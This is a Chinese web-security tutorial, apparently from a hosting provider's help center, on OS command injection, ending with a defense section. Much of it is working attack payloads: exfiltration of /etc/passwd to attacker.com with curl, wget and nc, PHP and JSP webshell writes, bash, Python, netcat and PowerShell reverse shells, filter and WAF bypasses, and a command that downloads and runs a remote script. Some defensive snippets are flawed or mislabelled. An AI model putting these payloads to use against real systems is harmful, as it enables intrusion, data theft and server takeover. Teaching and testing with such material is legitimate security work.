前言
在Web安全领域,如果说文件上传漏洞需要“绕过多道关卡”才能GetShell,那么命令注入(Command Injection)就是一条直达服务器控制权的高速公路。攻击者通过将恶意系统命令拼接到服务器执行的命令中,可以直接在目标服务器上执行任意操作系统命令,实现瞬间沦陷。
本文将系统梳理命令注入的原理、利用手法、绕过技巧以及防御方案,帮助你掌握从注入到服务器控制的完整攻击链。
1. 什么是命令注入?
命令注入是指Web应用在调用操作系统命令时,未对用户输入进行严格过滤,导致攻击者可以通过特殊字符拼接恶意命令,在服务器上执行任意系统命令。
1.1 一句话理解
> 网站有一个功能:输入IP地址,执行`ping`命令检测网络连通性。
> 我输入:`127.0.0.1 && whoami`
> 服务器执行的命令变成:`ping -c 4 127.0.0.1 && whoami`
> 服务器返回了当前用户名,我获得了命令执行权限。
1.2 为什么会出现命令注入?
命令注入的根本原因在于:开发人员使用系统命令处理用户输入,且未对输入进行严格过滤。常见的危险函数包括:
| 语言 | 危险函数 |
| PHP | `system()`、`exec()`、`shell_exec()`、`passthru()`、`popen()` |
| Java | `Runtime.exec()`、`ProcessBuilder` |
| Python | `os.system()`、`subprocess.call()`、`subprocess.Popen()` |
| Node.js | `child_process.exec()`、`child_process.spawn()` |
1.3 常见存在命令注入的功能点
| 功能类型 | 典型场景 | 示例 |
| 网络检测 | Ping、Traceroute、DNS查询 | 输入IP执行ping命令 |
| 系统监控 | 查看进程、磁盘使用率 | 执行`ps`、`df`命令 |
| 文件操作 | 压缩/解压、文件转换 | 调用系统压缩工具 |
| 邮件发送 | 调用`sendmail` | 拼接邮件地址 |
| 数据库备份 | 调用`mysqldump` | 导出数据库 |
php
// ⚠️ 危险代码示例:直接拼接用户输入
$ip = $_GET['ip'];
$output = shell_exec("ping -c 4 " . $ip);
echo "<pre>$output</pre>";
2. 命令注入的分类
2.1 按结果是否回显分类
| 类型 | 说明 | 利用难度 |
| 有回显 | 命令执行结果直接返回给用户 | 简单 |
| 无回显(盲注) | 命令执行结果不返回,需通过其他方式获取 | 中等 |
| 延迟注入 | 通过响应时间判断命令执行情况 | 复杂 |
2.2 按注入位置分类
| 类型 | 示例 |
| 参数注入 | `?ip=127.0.0.1` |
| POST数据注入 | 表单提交 |
| Cookie注入 | Cookie中包含恶意命令 |
| HTTP头注入 | User-Agent、Referer等 |
3. 命令连接符详解
掌握命令连接符是命令注入的基础:
| 连接符 | 含义 | 示例 | 效果 |
| `;` | 顺序执行 | `cmd1; cmd2` | 执行cmd1,然后执行cmd2 |
| `&&` | 逻辑与 | `cmd1 && cmd2` | cmd1成功后才执行cmd2 |
| `\\|\\|` | 逻辑或 | `cmd1 \\|\\| cmd2` | cmd1失败才执行cmd2 |
| `\\|` | 管道符 | `cmd1 \\| cmd2` | 将cmd1的输出作为cmd2的输入 |
| `\\n` | 换行符 | `cmd1 \\n cmd2` | 换行执行新命令 |
| `` ` ` `` | 反引号 | `` `cmd1` `` | 执行cmd1并返回结果 |
| `$()` | 命令替换 | `$(cmd1)` | 执行cmd1并返回结果 |
3.1 不同系统的命令分隔符
| 系统 | 分隔符 |
| Windows | `&`、`&&`、`\\|`、`\\|\\|`、`;` |
| Linux/Unix | `;`、`&&`、`\\|`、`\\|\\|`、`\\n`、`` ` ``、`$()` |
4. 命令注入的利用手法
4.1 基础探测
首先确认是否存在命令注入漏洞:
text
测试1:直接执行命令
127.0.0.1; whoami
测试2:使用逻辑与
127.0.0.1 && whoami
测试3:使用管道
127.0.0.1 | whoami
测试4:命令替换
127.0.0.1 $(whoami)
127.0.0.1 `whoami`
判断方法:
– 如果返回了 `whoami` 的执行结果 → 存在命令注入
– 如果页面报错或有延迟 → 可能存在
4.2 有回显命令执行
当命令执行结果直接返回时,可以执行任意系统命令:
```text
Linux
127.0.0.1; id
127.0.0.1; cat /etc/passwd
127.0.0.1; ls -la /var/www/html
Windows
127.0.0.1 & whoami
127.0.0.1 & type C:\\Windows\\win.ini
127.0.0.1 & dir C:\\
4.3 无回显命令执行(盲注)
当命令执行结果不返回时,需要通过其他方式获取:
4.3.1 DNS外带数据
text
Linux
127.0.0.1; nslookup `whoami`.attacker.com
127.0.0.1; curl http://attacker.com/`whoami`
Windows
127.0.0.1 & nslookup %username%.attacker.com
127.0.0.1 & powershell Invoke-WebRequest -Uri "http://attacker.com/$env:username"
4.3.2 HTTP外带数据
```bash
使用curl
127.0.0.1; curl http://attacker.com/?data=$(cat /etc/passwd | base64)
使用wget
127.0.0.1; wget –post-data="$(cat /etc/passwd)" http://attacker.com
使用nc
127.0.0.1; cat /etc/passwd | nc attacker.com 4444
4.3.3 写入Webshell
bash
写入PHP一句话木马
127.0.0.1; echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/shell.php
写入JSP木马
127.0.0.1; echo '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > /var/www/html/shell.jsp
4.3.4 时间盲注
bash
Linux:通过延迟判断
127.0.0.1; sleep 5
Windows
127.0.0.1 & timeout 5
4.4 反弹Shell(核心利用)
反弹Shell是命令注入中最有威力的利用方式,可绕过防火墙限制。
4.4.1 Bash反弹Shell
```bash
攻击者监听
nc -lvnp 4444
目标执行
127.0.0.1; bash -i >& /dev/tcp/攻击者IP/4444 0>&1
4.4.2 Python反弹Shell
bash
127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
4.4.3 Netcat反弹Shell
bash
有nc命令
127.0.0.1; nc -e /bin/bash 攻击者IP 4444
没有-e参数的情况
127.0.0.1; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 攻击者IP 4444 > /tmp/f
4.4.4 PowerShell反弹Shell(Windows)
bash
127.0.0.1 & powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('攻击者IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
4.5 命令注入进阶利用
4.5.1 绕过空格过滤
当空格被过滤时,可以使用以下替代方式:
bash
使用$IFS(Internal Field Separator)
127.0.0.1; cat${IFS}/etc/passwd
使用制表符
127.0.0.1; cat%09/etc/passwd
使用花括号扩展
127.0.0.1; {cat,/etc/passwd}
使用重定向
127.0.0.1; cat</etc/passwd
4.5.2 绕过关键字过滤
bash
使用通配符
127.0.0.1; /???/c?t /???/p?ss??
解释:/bin/cat /etc/passwd
使用变量拼接
127.0.0.1; a=c;b=at; $a$b /etc/passwd
使用反斜杠
127.0.0.1; c\\at /etc/passwd
使用引号
127.0.0.1; c"a"t /etc/passwd
使用Base64编码
127.0.0.1; echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
4.5.3 绕过黑名单
bash
使用编码
127.0.0.1; $(printf "\\x63\\x61\\x74") /etc/passwd
使用命令替换
127.0.0.1; $(echo cat) /etc/passwd
5. 命令注入的绕过技巧
5.1 空格绕过
| 绕过方式 | 示例 |
| `${IFS}` | `cat${IFS}/etc/passwd` |
| `%09`(制表符) | `cat%09/etc/passwd` |
| `%20`(空格) | `cat%20/etc/passwd` |
| 重定向 | `cat</etc/passwd` |
| 花括号 | `{cat,/etc/passwd}` |
5.2 关键字绕过
| 绕过方式 | 示例 |
| 通配符 | `/???/c?t /???/p?ss??` |
| 反斜杠 | `c\\at /etc/passwd` |
| 单引号 | `c'a't /etc/passwd` |
| 双引号 | `c"a"t /etc/passwd` |
| 变量拼接 | `a=c;b=at;$a$b /etc/passwd` |
| Base64 | `echo 'Y2F0' \\| base64 -d` |
5.3 编码绕过
```bash
十六进制编码
127.0.0.1; $(printf "\\x63\\x61\\x74") /etc/passwd
八进制编码
127.0.0.1; $(printf "\\143\\141\\164") /etc/passwd
URL编码(部分场景)
127.0.0.1%3Bcat%20/etc/passwd
5.4 截断绕过
bash
注释符截断(部分系统)
127.0.0.1; cat /etc/passwd 后面的内容被忽略
换行符截断
127.0.0.1; cat /etc/passwd%0a
6. 命令注入与常见WAF绕过
6.1 拼接绕过
bash
将命令拆分成多段
127.0.0.1; c\\
at /et\\
c/passwd
6.2 利用环境变量
```bash
从环境变量中获取字符
127.0.0.1; ${PATH:0:1}at /etc/passwd
${PATH:0:1} 取PATH第一个字符,通常是 '/'
6.3 利用通配符技巧
bash
利用*通配符
127.0.0.1; /???/?????? /???/???????
可能匹配到 /usr/bin/curl /etc/passwd
```
7. 防御方案
7.1 避免使用系统命令(核心防御)
最佳实践:尽量使用内置函数替代系统命令。
php
// ❌ 危险:使用系统命令
$output = shell_exec("ping -c 4 " . $ip);
// ✅ 安全:使用内置函数
$output = exec("ping", $ip); // 仍不安全
// 更好的方案:使用PHP的socket函数自己实现ping
7.2 输入过滤与转义
如果必须使用系统命令,严格过滤用户输入:
php
// 白名单校验
$allowed_ips = ['8.8.8.8', '1.1.1.1'];
if (!in_array($ip, $allowed_ips)) {
die('Invalid IP');
}
// 转义特殊字符
$ip = escapeshellarg($_GET['ip']);
$output = shell_exec("ping -c 4 " . $ip);
```
PHP转义函数:
– `escapeshellarg()`:转义参数
– `escapeshellcmd()`:转义命令
7.3 白名单校验
python
import re
def validate_ip(ip):
仅允许IP地址格式
pattern = r'^(\\d{1,3}\\.){3}\\d{1,3}$'
if not re.match(pattern, ip):
raise Exception('Invalid IP format')
检查是否为内网IP
parts = ip.split('.')
if parts[0] in ['127', '10'] or parts[0] == '172' and 16 <= int(parts[1]) <= 31 or parts[0] == '192' and parts[1] == '168':
raise Exception('Internal IP not allowed')
return True
ip = validate_ip(user_input)
7.4 最小权限原则
– Web服务使用低权限账户运行(非root)
– 限制Web用户可执行的命令范围
– 使用容器或沙箱隔离
7.5 命令执行监控
python
import subprocess
记录所有命令执行日志
def safe_execute(command, user_input):
记录日志
with open('/var/log/cmd_exec.log', 'a') as f:
f.write(f"{time.time()}: {command} from user: {user_input}\\n")
执行命令
return subprocess.run(command, shell=True, capture_output=True)
8. 真实案例分析
案例1:某CMS命令注入(CVE-2021-XXXX)
漏洞点:后台模板编辑功能,允许编辑模板文件
Payload:
```text
{php}system('whoami');{/php}
影响:攻击者可执行任意系统命令,获取服务器权限
案例2:某网络设备命令注入
漏洞点:Ping功能未过滤输入
Payload:
```text
127.0.0.1; wget http://恶意IP/shell.sh; chmod +x shell.sh; ./shell.sh
影响:下载并执行恶意脚本,设备被控
9. 命令注入检测与防护总结
9.1 检测思路
| 检测阶段 | 检测方法 |
|———-|———-|
| 静态代码审计 | 搜索危险函数(system、exec、shell_exec等) |
| 动态扫描 | 使用工具扫描注入点 |
| 流量检测 | 检测异常系统命令调用 |
| 主机检测 | 监控异常进程创建 |
9.2 安全开发Checklist
– [ ] 避免使用系统命令:优先使用语言内置函数
– [ ] 严格输入过滤:使用白名单限制可输入内容
– [ ] 参数转义:使用`escapeshellarg()`等函数
– [ ] 最小权限:Web服务使用低权限账户
– [ ] 命令监控:记录所有命令执行日志
– [ ] 使用沙箱:隔离命令执行环境
– [ ] WAF防护:部署Web应用防火墙
结语
命令注入是Web安全领域最直接的GetShell方式之一。它的危害在于:一旦成功,攻击者瞬间获得服务器控制权,可以执行任意操作,包括数据窃取、勒索软件部署、内网横向移动等。
防御命令注入的核心原则:
– 能不用系统命令就不用
– 必须用则白名单优先
– 输入过滤+参数转义双保险
– 最小权限+沙箱隔离
掌握命令注入,你不仅能在渗透测试中快速获取服务器权限,更能在开发工作中构建起坚固的命令执行防线。每一行系统调用都可能是攻击者的跳板,安全需要贯穿代码的每一个角落。
网硕互联帮助中心





评论前必须登录!
注册